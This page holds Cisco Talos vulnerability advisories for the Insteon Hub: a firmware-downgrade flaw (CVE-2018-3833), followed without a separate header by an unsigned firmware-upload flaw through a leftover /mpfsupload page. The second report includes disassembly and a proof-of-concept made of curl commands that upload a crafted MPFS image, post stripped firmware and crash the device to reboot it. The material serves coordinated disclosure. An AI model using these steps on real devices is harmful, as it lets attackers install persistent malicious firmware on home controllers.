Talos Vulnerability Report

TALOS-2018-0512

Insteon Hub PubNub Firmware Downgrade Vulnerability

June 19, 2018
CVE Number

CVE-2018-3833

Summary

An exploitable firmware downgrade vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the firmware version that is going to be installed and thus allows for flashing older firmware images. To trigger this vulnerability, an attacker needs to impersonate the remote server "cache.insteon.com" and serve any signed firmware image.

Tested Versions

Insteon Hub 2245-222 - Firmware version 1013

Product URLs

http://www.insteon.com/insteon-hub

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

CWE

CWE-284: Improper Access Control

Details

Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.

The firmware uses Microchip's "Libraries for Applications" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.

To enable remote interaction via the Internet, Insteon Hub uses an online service called PubNub (https://www.pubnub.com/). End-users install the "Insteon for Hub" application on their smartphone. Both the smartphone application and Insteon Hub include the PubNub SDK, which allows for a bi-directional communication using PubNub's REST API.

Using the phone application, an user can decide to force an update. In this case, the phone will first retrieve the latest firmware for a given device using an HTTP GET request:

# phone --> connect.insteon.com:443
GET /HubService/Firmware?HubID=112233 HTTP/1.1

# connect.insteon.com:443 --> phone
[{"FW":"FW","Url":"cache.insteon.com\/software\/insteon\/hub2\/prod\/PROD_FW_03_33_1013.hex","Version":"1013","DevCat":"03","SubCat":"33"},{"FW":"PLM","Url":"cache.insteon.com\/software\/insteon\/hub2\/prod\/PROD_PLM_03_33_A3.hex","Version":"A3","DevCat":"03","SubCat":"33"}]

The answer contains the URL for the firmware in Intel HEX format. In this case there are 2 of them: one for the main PIC32MX MCU ("FW") and one for the PLM, we're interested in the former.

The phone will then communicate with the device via PubNub, asking to perform a firmware update using the FW URL.

# phone --> pubsub.pubnub.com:443
GET /publish/pub-c-a415cc66-b0ca-4d1d-8d9e-947390b35df3/sub-c-e1c54032-1685-11e4-b69f-02ee2ddab7fe/0/112233-ad/0/{"u":"\/software\/insteon\/hub2\/prod\/PROD_FW_03_33_1013.hex","msgid":"1234567890-3","cmd":"up_firm","ser":"4","h":"cache.insteon.com"}?&auth=11223344556677889900AABBCCDDEEFF

# pubsub.pubnub.com:443 --> phone
[1,"Sent","1234567890"]

When the device receives this message, it will fetch the firmware using a plain HTTP request to "http://cache.insteon.com/software/insteon/hub2/prod/PRODFW03331013.hex".

The device will then perform a signature check on the firmware, and if this check passes, the firmware will be flashed without verifying that the current firmware version is lower than the one downloaded.

An attacker which is able impersonate the HTTP server for "cache.insteon.com" (e.g. via MITM) would be able to serve any old firmware and later exploit any vulnerability available for it.

Credit

Discovered by Claudio Bozzato of Cisco Talos. http://talosintelligence.com/vulnerability-reports/

Timeline

Summary

An exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the "/mpfsupload" HTTP form and later on upload the firmware via a POST request to "firmware.htm".

Tested Versions

Insteon Hub 2245-222 - Firmware version 1013

Product URLs

http://www.insteon.com/insteon-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-489: Leftover Debug Code

Details

Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.

The firmware uses Microchip's "Libraries for Applications" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.

One of the default tasks defined by Microchip's "Libraries for Applications" is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own to handle for example "GET" and "POST" requests.

The HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN.

// Stores extended state data for each connection
typedef struct
{
    DWORD byteCount;                    // How many bytes have been read so far
    DWORD nextCallback;                 // Byte index of the next callback
    DWORD callbackID;                   // Callback ID to execute, also used as watchdog timer
    DWORD callbackPos;                  // Callback position indicator
    BYTE *ptrData;                      // Points to first free byte in data
    BYTE *ptrRead;                      // Points to current read location
    FILE_HANDLE file;                   // File pointer for the file being served
    FILE_HANDLE offsets;                // File pointer for any offset info being used
    BYTE hasArgs;                       // True if there were get or cookie arguments
    BYTE isAuthorized;                  // 0x00-0x79 on fail, 0x80-0xff on pass
    HTTP_STATUS httpStatus;             // Request method/status
    HTTP_FILE_TYPE fileType;            // File type to return with Content-Type
    BYTE data[HTTP_MAX_DATA_LEN];       // General purpose data buffer
    #if defined(HTTP_USE_POST)
    BYTE smPost;                        // POST state machine variable
    #endif
} HTTP_CONN;

extern HTTP_CONN curHTTP;

The developer implementing GET and POST handler functions can thus access curHTTP to implement its logic. Note that these handlers are only reached if a valid basic-auth string is provided.

Pages served by the HTTPServer are located in an "MPFS" image (Microchip Proprietary File System) which contain both static and dynamic resources. Insteon stores the "MPFS" image at offset 0x40000 in one of the three SPI flashes.

By default, the Microchip's HTTPServer defines an /mpfsupload path that can be used to upload any arbitrary "MPFS" binary:

// Configure MPFS over HTTP updating
// Comment this line to disable updating via HTTP
#define HTTP_MPFS_UPLOAD        "mpfsupload"

...

#if defined(HTTP_MPFS_UPLOAD)
static HTTP_IO_RESULT HTTPMPFSUpload(void)
{
    BYTE c[16];
    WORD lenA, lenB;

    switch(curHTTP.httpStatus)
    {
        // New upload, so look for the CRLFCRLF
        case HTTP_MPFS_UP:

            lenA = TCPFindROMArray(sktHTTP, (ROM BYTE*)"\r\n\r\n", 4, 0, FALSE);

        ...
    ...
#endif

It's easy to see that Insteon left this functionality available:

$ curl -u Username:Password "http://192.168.0.10:25105/mpfsupload"
<html><body style="margin:100px"><form method=post action="/mpfsupload" enctype="multipart/form-data"><b>MPFS Image Upload</b><p><input type=file name=i size=40> &nbsp; <input type=submit value="Upload"></form></body></html>

The structure of an "MPFS" file is described in the file "MPFS2.c" of Microchip's "Libraries for Applications":

MPFS Structure:
    [M][P][F][S]
    [BYTE Ver Hi][BYTE Ver Lo][WORD Number of Files]
    [Name Hash 0][Name Hash 1]...[Name Hash N]
    [File Record 0][File Record 1]...[File Record N]
    [String 0][String 1]...[String N]
    [File Data 0][File Data 1]...[File Data N]

Name Hash (2 bytes):
    hash = 0
    for each(byte in name)
        hash += byte
        hash <<= 1
    Technically this means the hash only includes the 
    final 15 characters of a name.

File Record Structure (22 bytes):
    [DWORD String Ptr][DWORD Data Ptr]
    [DWORD Len][DWORD Timestamp][DWORD Microtime]
    [WORD Flags]
    Pointers are absolute addresses within the MPFS image.
    Timestamp is the UNIX timestamp
    Microtime is currently unimplemented

String Structure (1 to 64 bytes):
    ["path/to/file.ext"][0x00]

File Data Structure (arbitrary length):
      [File Data]

As we can see there is no signature involved, so it's possible to add any new file to the MPFS Structure (note that the filename hash has to be updated too). The issue with leaving the MPFS upload feature enabled is that it could be used to alter the execution of an existing MCU firmware. Indeed, in this case it is even possible to write persistent code to the device by exploiting this feature.

Let's have a look at an interesting path in the HTTP POST handler defined by Insteon:

seg000:9D030E3C                 insteon_HTTPExecutePost:
seg000:9D030E3C
seg000:9D030E3C                 var_20= -0x20
seg000:9D030E3C                 var_4= -4
seg000:9D030E3C
seg000:9D030E3C 000 D0 FF BD 27     addiu   $sp, -0x30
seg000:9D030E40 030 2C 00 BF AF     sw      $ra, 0x30+var_4($sp)
seg000:9D030E44 030 00 A0 02 3C     lui     $v0, 0xA000
seg000:9D030E48 030 44 0D 44 90     lbu     $a0, curHTTP_file            # [1]
seg000:9D030E4C 030 10 00 A5 27     addiu   $a1, $sp, 0x30+var_20
seg000:9D030E50 030 F8 8A 41 0F     jal     MPFSGetFilename
seg000:9D030E54 030 14 00 06 24     li      $a2, 0x14
seg000:9D030E58 030 10 00 A4 27     addiu   $a0, $sp, 0x30+var_20
seg000:9D030E5C 030 07 9D 05 3C+    la      $a1, aFirmware_htm           # "firmware.htm"
seg000:9D030E64 030 57 F5 41 0F     jal     memcmp                       # [2]
seg000:9D030E68 030 0C 00 06 24     li      $a2, 0xC
seg000:9D030E6C 030 05 00 40 14     bnez    $v0, loc_9D030E84
seg000:9D030E70 030 10 00 A4 27     addiu   $a0, $sp, 0x30+var_20
seg000:9D030E74 030 40 BD 40 0F     jal     insteon_HTTPExecutePostFirmware
seg000:9D030E78 030 00 00 00 00     nop

As we can see, the requested path is present in curHTTP_file [1] and it's saved to var_20 by calling MPFSGetFilename. If the requested file is "firmware.htm" [2], the device will follow the path that performs a firmware update by calling insteon_HTTPExecutePostFirmware. Normally this file doesn't exist in the device, but it's possible to upload an "MPFS" image that contains it: this would effectively re-enable an unsigned firmware update functionality.

seg000:9D02F500
seg000:9D02F500                 insteon_HTTPExecutePostFirmware:
...
seg000:9D02F560 038 8F 81 80 A3     sb      $zero, (insteon_is_fwpost_ok - unk_A0008030)($gp)
seg000:9D02F564 038 90 83 83 93     lbu     $v1, (byte_A00003C0 - unk_A0008030)($gp)
seg000:9D02F568 038 C0 18 03 00     sll     $v1, 3
seg000:9D02F56C 038 00 A0 02 3C+    la      $v0, httpStubs
seg000:9D02F574 038 21 10 62 00     addu    $v0, $v1, $v0
seg000:9D02F578 038 04 00 44 90     lbu     $a0, 4($v0)                  # hTCP
seg000:9D02F57C 038 10 00 A0 AF     sw      $zero, 0x38+var_28($sp)
seg000:9D02F580 038 14 00 A0 AF     sw      $zero, 0x38+var_24($sp)
seg000:9D02F584 038 07 9D 05 3C+    la      $a1, asc_9D075674            # "\r\n"
seg000:9D02F58C 038 02 00 06 24     li      $a2, 2
seg000:9D02F590 038 25 AE 40 0F     jal     TCPFindArrayEx               # [3]
seg000:9D02F594 038 21 38 00 00     move    $a3, $zero
...
seg000:9D02F5D0 038 02 00 C6 24     addiu   $a2, 2
seg000:9D02F5D4 038 04 00 44 90     lbu     $a0, 4($v0)                  # hTCP
seg000:9D02F5D8 038 21 28 00 00     move    $a1, $zero                   # buffer
seg000:9D02F5DC 038 15 AD 40 0F     jal     TCPGetArray                  # [4]
seg000:9D02F5E0 038 FF FF C6 30     andi    $a2, 0xFFFF
...
seg000:9D02F610 038 10 00 A0 AF     sw      $zero, 0x38+var_28($sp)
seg000:9D02F614 038 14 00 A0 AF     sw      $zero, 0x38+var_24($sp)
seg000:9D02F618 038 07 9D 05 3C+    la      $a1, asc_9D075678            # "\r\n\r\n"
seg000:9D02F620 038 04 00 06 24     li      $a2, 4
seg000:9D02F624 038 25 AE 40 0F     jal     TCPFindArrayEx               # [5]
seg000:9D02F628 038 21 38 00 00     move    $a3, $zero
...
seg000:9D02F64C 038 04 00 44 90     lbu     $a0, 4($v0)                  # hTCP
seg000:9D02F650 038 21 28 00 00     move    $a1, $zero                   # buffer
seg000:9D02F654 038 15 AD 40 0F     jal     TCPGetArray                  # [6]
seg000:9D02F658 038 FF FF C6 30     andi    $a2, 0xFFFF
...
seg000:9D02F6D0 038 C0 18 03 00     sll     $v1, 3
seg000:9D02F6D4 038 00 A0 02 3C+    la      $v0, httpStubs
seg000:9D02F6DC 038 21 10 62 00     addu    $v0, $v1, $v0
seg000:9D02F6E0 038 89 AC 40 0F     jal     TCPIsGetReady                # [7]
seg000:9D02F6E4 038 04 00 44 90     lbu     $a0, 4($v0)                  # hTCP
...
seg000:9D02F72C 038 10 00 A0 AF     sw      $zero, 0x38+var_28($sp)
seg000:9D02F730 038 14 00 A0 AF     sw      $zero, 0x38+var_24($sp)
seg000:9D02F734 038 07 9D 05 3C+    la      $a1, a0200_0                 # ":0200"
seg000:9D02F73C 038 05 00 06 24     li      $a2, 5
seg000:9D02F740 038 25 AE 40 0F     jal     TCPFindArrayEx               # [8]
seg000:9D02F744 038 21 38 00 00     move    $a3, $zero
seg000:9D02F748 038 21 88 40 00     move    $s1, $v0
seg000:9D02F74C 038 FF FF 02 34     li      $v0, 0xFFFF
seg000:9D02F750 038 03 00 22 12     beq     $s1, $v0, loc_9D02F760
seg000:9D02F754 038 01 00 02 24     li      $v0, 1
seg000:9D02F758 038 8F 81 82 A3     sb      $v0, (insteon_is_fwpost_ok - unk_A0008030)($gp)  # [9]
seg000:9D02F75C 038 21 88 00 00     move    $s1, $zero

At [3] the TCP buffer is checked to contain "\r\n" and at [4] every byte is discarded up to and including "\r\n". The same then happens at [5] and [6], where any input is discarded up to and including "\r\n\r\n".

Then, if data is available [7], the TCP buffer is checked to contain ":0200" [8]. This sequence is present at the beginning of an Insteon firmware since it's using the Intel HEX format. Finally, if the correct sequence is found, the insteon_is_fwpost_ok variable will contain 1 [9].

The execution continues by reading the whole POST body:

...
seg000:9D02F768 038 00 A0 14 3C+    la      $s4, httpStubs
seg000:9D02F770 038 00 A0 13 3C+    la      $s3, curHTTP_data
seg000:9D02F778 038 01 A0 15 3C+    la      $s5, insteon_post_buffer             # [10]
seg000:9D02F780 038 00 A0 12 3C     lui     $s2, 0xA000
seg000:9D02F784 038 2C 0D 56 26     addiu   $s6, $s2, (curHTTP - 0xA0000000)
seg000:9D02F788 038 25 00 D6 26     addiu   $s6, (curHTTP_data+1 - 0xA0000D2C)
seg000:9D02F78C
seg000:9D02F78C                 loc_9D02F78C:
seg000:9D02F78C 038 90 83 82 93     lbu     $v0, (byte_A00003C0 - unk_A0008030)($gp)
seg000:9D02F790 038 C0 10 02 00     sll     $v0, 3
seg000:9D02F794 038 21 10 54 00     addu    $v0, $s4
seg000:9D02F798 038 04 00 44 90     lbu     $a0, 4($v0)                          # hTCP
seg000:9D02F79C 038 41 00 02 2E     sltiu   $v0, $s0, 0x41
seg000:9D02F7A0 038 02 00 40 14     bnez    $v0, loc_9D02F7AC
seg000:9D02F7A4 038 21 30 00 02     move    $a2, $s0
seg000:9D02F7A8 038 40 00 06 24     li      $a2, 0x40
seg000:9D02F7AC
seg000:9D02F7AC                 loc_9D02F7AC:
seg000:9D02F7AC 038 21 28 60 02     move    $a1, $s3                             # buffer
seg000:9D02F7B0 038 15 AD 40 0F     jal     TCPGetArray                          # [11]
seg000:9D02F7B4 038 FF FF C6 30     andi    $a2, 0xFFFF
seg000:9D02F7B8 038 0A 00 40 10     beqz    $v0, loc_9D02F7E4
seg000:9D02F7BC 038 21 18 60 02     move    $v1, $s3
seg000:9D02F7C0 038 21 20 B1 02     addu    $a0, $s5, $s1
seg000:9D02F7C4 038 FF FF 46 24     addiu   $a2, $v0, -1
seg000:9D02F7C8 038 FF FF C6 30     andi    $a2, 0xFFFF
seg000:9D02F7CC 038 21 30 C6 02     addu    $a2, $s6, $a2
seg000:9D02F7D0
seg000:9D02F7D0                 loc_9D02F7D0:
seg000:9D02F7D0 038 00 00 65 90     lbu     $a1, 0($v1)
seg000:9D02F7D4 038 00 00 85 A0     sb      $a1, 0($a0)
seg000:9D02F7D8 038 01 00 63 24     addiu   $v1, 1
seg000:9D02F7DC 038 FC FF 66 14     bne     $v1, $a2, loc_9D02F7D0
seg000:9D02F7E0 038 01 00 84 24     addiu   $a0, 1
seg000:9D02F7E4
seg000:9D02F7E4                 loc_9D02F7E4:
seg000:9D02F7E4 038 21 88 51 00     addu    $s1, $v0, $s1
seg000:9D02F7E8 038 FF FF 31 32     andi    $s1, 0xFFFF
seg000:9D02F7EC 038 2C 0D 43 8E     lw      $v1, 0xD2C($s2)                      # remaining data to read
seg000:9D02F7F0 038 23 18 62 00     subu    $v1, $v0
seg000:9D02F7F4 038 23 80 02 02     subu    $s0, $v0                             # [12]
seg000:9D02F7F8 038 FF FF 10 32     andi    $s0, 0xFFFF
seg000:9D02F7FC 038 E3 FF 00 16     bnez    $s0, loc_9D02F78C                    # loop
seg000:9D02F800 038 2C 0D 43 AE     sw      $v1, 0xD2C($s2)

The POST body is saved in RAM at 0xA000B354 [10] and the data is read in 64-byte chunks [11] until the size defined by the "Content-Length" header is reached [12].

...
seg000:9D02F854 038 01 00 02 24     li      $v0, 1
seg000:9D02F858 038 8F 81 83 93     lbu     $v1, (insteon_is_fwpost_ok - unk_A0008030)($gp)   # [13]
seg000:9D02F85C 038 35 00 62 14     bne     $v1, $v0, loc_9D02F934
seg000:9D02F860 038 04 00 03 24     li      $v1, 4
seg000:9D02F864 038 03 00 03 24     li      $v1, 3
seg000:9D02F868 038 00 A0 02 3C     lui     $v0, 0xA000
seg000:9D02F86C 038 B4 0D 43 A0     sb      $v1, byte_A0000DB4
seg000:9D02F870 038 01 A0 02 3C+    la      $v0, insteon_post_buffer
seg000:9D02F878 038 00 10 44 24     addiu   $a0, $v0, (byte_A000C354 - 0xA000B354)
seg000:9D02F87C 038 2D 00 03 24     li      $v1, 0x2D
seg000:9D02F880 038 00 00 43 A0     sb      $v1, (insteon_post_buffer - 0xA000B354)($v0)
seg000:9D02F884
seg000:9D02F884                 loc_9D02F884:
seg000:9D02F884 038 01 00 42 24     addiu   $v0, 1
seg000:9D02F888 038 FE FF 44 54     bnel    $v0, $a0, loc_9D02F884
seg000:9D02F88C 038 00 00 43 A0     sb      $v1, 0($v0)
seg000:9D02F890 038 98 81 92 8F     lw      $s2, (dword_A00001C8 - unk_A0008030)($gp)
seg000:9D02F894 038 02 8E 12 00     srl     $s1, $s2, 24
seg000:9D02F898 038 A8 96 41 0F     jal     btohexa_high
seg000:9D02F89C 038 21 20 20 02     move    $a0, $s1
seg000:9D02F8A0 038 01 A0 10 3C     lui     $s0, 0xA001
seg000:9D02F8A4 038 54 B3 02 A2     sb      $v0, insteon_post_buffer
seg000:9D02F8A8 038 AF 96 41 0F     jal     btohexa_low
seg000:9D02F8AC 038 21 20 20 02     move    $a0, $s1
seg000:9D02F8B0 038 54 B3 11 26     addiu   $s1, $s0, (insteon_post_buffer - 0xA0010000)      # [14]
seg000:9D02F8B4 038 01 00 22 A2     sb      $v0, (byte_A000B355 - 0xA000B354)($s1)
seg000:9D02F8B8 038 00 3C 50 7E     ext     $s0, $s2, 0x10, 8
seg000:9D02F8BC 038 A8 96 41 0F     jal     btohexa_high
seg000:9D02F8C0 038 21 20 00 02     move    $a0, $s0
seg000:9D02F8C4 038 02 00 22 A2     sb      $v0, (byte_A000B356 - 0xA000B354)($s1)
seg000:9D02F8C8 038 AF 96 41 0F     jal     btohexa_low
seg000:9D02F8CC 038 21 20 00 02     move    $a0, $s0
seg000:9D02F8D0 038 03 00 22 A2     sb      $v0, (byte_A000B357 - 0xA000B354)($s1)
seg000:9D02F8D4 038 00 3A 50 7E     ext     $s0, $s2, 8, 8
seg000:9D02F8D8 038 A8 96 41 0F     jal     btohexa_high
seg000:9D02F8DC 038 21 20 00 02     move    $a0, $s0
seg000:9D02F8E0 038 04 00 22 A2     sb      $v0, (byte_A000B358 - 0xA000B354)($s1)
seg000:9D02F8E4 038 AF 96 41 0F     jal     btohexa_low
seg000:9D02F8E8 038 21 20 00 02     move    $a0, $s0
seg000:9D02F8EC 038 05 00 22 A2     sb      $v0, (byte_A000B359 - 0xA000B354)($s1)
seg000:9D02F8F0 038 FF 00 50 32     andi    $s0, $s2, 0xFF
seg000:9D02F8F4 038 A8 96 41 0F     jal     btohexa_high
seg000:9D02F8F8 038 21 20 00 02     move    $a0, $s0
seg000:9D02F8FC 038 06 00 22 A2     sb      $v0, (byte_A000B35A - 0xA000B354)($s1)
seg000:9D02F900 038 AF 96 41 0F     jal     btohexa_low
seg000:9D02F904 038 21 20 00 02     move    $a0, $s0
seg000:9D02F908 038 07 00 22 A2     sb      $v0, (byte_A000B35B - 0xA000B354)($s1)
seg000:9D02F90C 038 21 20 20 02     move    $a0, $s1                                          # [15]
seg000:9D02F910 038 1F 00 10 3C     lui     $s0, 0x1F
seg000:9D02F914 038 00 F0 05 36     ori     $a1, $s0, 0xF000
seg000:9D02F918 038 13 84 41 0F     jal     insteon_perform_fw_update                         # [16]
seg000:9D02F91C 038 00 08 06 24     li      $a2, 0x800

After the insteon_post_buffer is filled with the firmware, the insteon_is_fwpost_ok is checked to be 1 [13] and the firmware is passed as first parameter [15] to the function that actually writes the firmware to the internal memory [16]. No signature checks are performed throughout the entire operation, so an attacker can upload any arbitrary firmware image.

Exploit Proof-of-Concept

By exploiting this bug, an attacker could follow these steps to flash a custom firmware to the device:

1- Create an MPFS image with just one file with name "firmware.htm".
2- Upload the custom MPFS image:
    $ curl -F "i=@mpfs.bin" -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/mpfsupload"
3- Modify a valid "prod_fw.hex" Insteon firmware at will. Finally add "\r\n\r\n\r\n" at the beginning and remove the trailing signature.
4- Upload the modified firmware:
    $ curl --data-binary @prod_fw.hex -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/firmware.htm"
5- When the device is rebooted, it will flash the new firmware into its internal flash.
It's possible to force a reboot by exploiting an uninitialized variable dereference, which will trigger an exception handler that will reboot the device:
    $ curl -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/?"
The device will take a few seconds more than usual to reboot since it will flash the new firmware before booting.

Timeline

2018-01-16 - Vendor Disclosure
2018-01-18 - Vendor advised issues under evaluation
2018-02-12 - 30 day follow up with vendor
2018-03-09 - Vendor advised working on course of action
2018-04-06 - Follow up with vendor on fix/timeline
2018-04-12 - Vendor advised issues addressed & plan for beta testing
2018-06-19 - Public disclosure

Credit

Discovered by Claudio Bozzato of Cisco Talos.